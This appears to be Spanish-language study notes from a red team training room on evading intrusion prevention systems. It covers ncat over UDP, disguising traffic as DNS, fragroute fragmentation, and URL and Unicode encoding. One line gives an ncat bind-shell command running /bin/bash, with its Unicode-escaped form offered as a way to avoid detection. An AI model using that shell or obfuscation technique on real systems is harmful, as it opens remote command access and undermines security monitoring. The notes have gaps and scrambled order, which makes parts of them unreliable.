  2. Conocimiento de aplicaciones y visibilidad completa: identifique el tráfico de varias aplicaciones y aplique la política de seguridad de la red. Un NGNIPS debe poder comprender hasta la capa de aplicación.

  3. Conciencia del contexto: utilice información de fuentes externas al IPS para ayudar a bloquear decisiones.

  4. Conciencia de contenido: capaz de inspeccionar y clasificar archivos, como programas y documentos ejecutables, en el tráfico entrante y saliente.

  5. Motor ágil: admite rutas de actualización para beneficiarse de nuevas fuentes de información.

Esta sala se centra en la evasión utilizando nmapy ncat/ socat. Las técnicas de evasión relacionadas con Nmap se analizan con gran detalle en la sala . Esta habitación resaltará ncaty socaten su caso.

Considere el caso en el que está utilizando . Ncat, de forma predeterminada, utiliza una conexión TCP ; sin embargo, puedes hacer que use UDP usando la opción-u .

Considere el caso en el que está utilizando . Puede intentar camuflar el tráfico como si fuera tráfico DNS .

Suponga que desea forzar que todos sus paquetes se fragmenten en tamaños específicos. En ese caso, deberías considerar el uso de un programa como . fragrouteSe puede configurar para leer un conjunto de reglas de un archivo de configuración determinado y aplicarlas a los paquetes entrantes. Para una fragmentación simple de paquetes IP, sería suficiente usar un archivo de configuración para ip_frag SIZEfragmentar los datos IP de acuerdo con el tamaño proporcionado. El tamaño debe ser múltiplo de 8.

La codificación de URL convierte ciertos caracteres al formato %HH, donde HH es la representación ASCII hexadecimal. Las letras inglesas, el punto, el guión y el guión bajo no se ven afectados. Puede consultar para obtener más información.

Algunas aplicaciones seguirán procesando su entrada y la ejecutarán correctamente si utiliza Unicode de escape. Hay varias formas de utilizar Unicode de escape según el sistema que procese la cadena de entrada. Por ejemplo, puede utilizar para seleccionar y configurar la receta de Escape de caracteres Unicode como se muestra en la imagen a continuación.

Si usa el formato \uXXXX, entonces ncat -lvnp 1234 -e /bin/bashse convierte en \u006e\u0063\u0061\u0074\u0020\u002d\u006c\u0076\u006e\u0070\u0020\u0031\u0032\u0033\u0034\u0020\u002d\u0065\u0020\u002f\u0062\u0069\u006e\u002f\u0062\u0061\u0073\u0068. Es claramente una transformación drástica que le ayudaría a evadir la detección, suponiendo que el sistema de destino la interprete correctamente y la ejecute.

Este muestra cómo se elabora un perfil.

La red IPS de próxima generación (NGNIPS) tiene las siguientes cinco características según :

Debido a que un Firewall de Próxima Generación (NGFW) proporciona la misma funcionalidad que un IPS, parece que el término NGNIPS está perdiendo popularidad por el bien de NGFW. Puedes leer más sobre NGFW en la sala .

Firewalls
Ncat
Ncat
Fragroute
la sección 2.4 en RFC 3986
CyberChef
perfil de guía de CobaltStrike
Gartner
Red Team Firewalls
20231026164632.png
20231026164641.png
20231026164709.png
20231026164742.png
20231026164841.png
20231026164858.png
20231026164919.png
20231026164938.png
20231026165002.png
20231026165039.png
20231026165113.png
20231026165126.png
20231026165138.png
20231026165207.png
20231026165237.png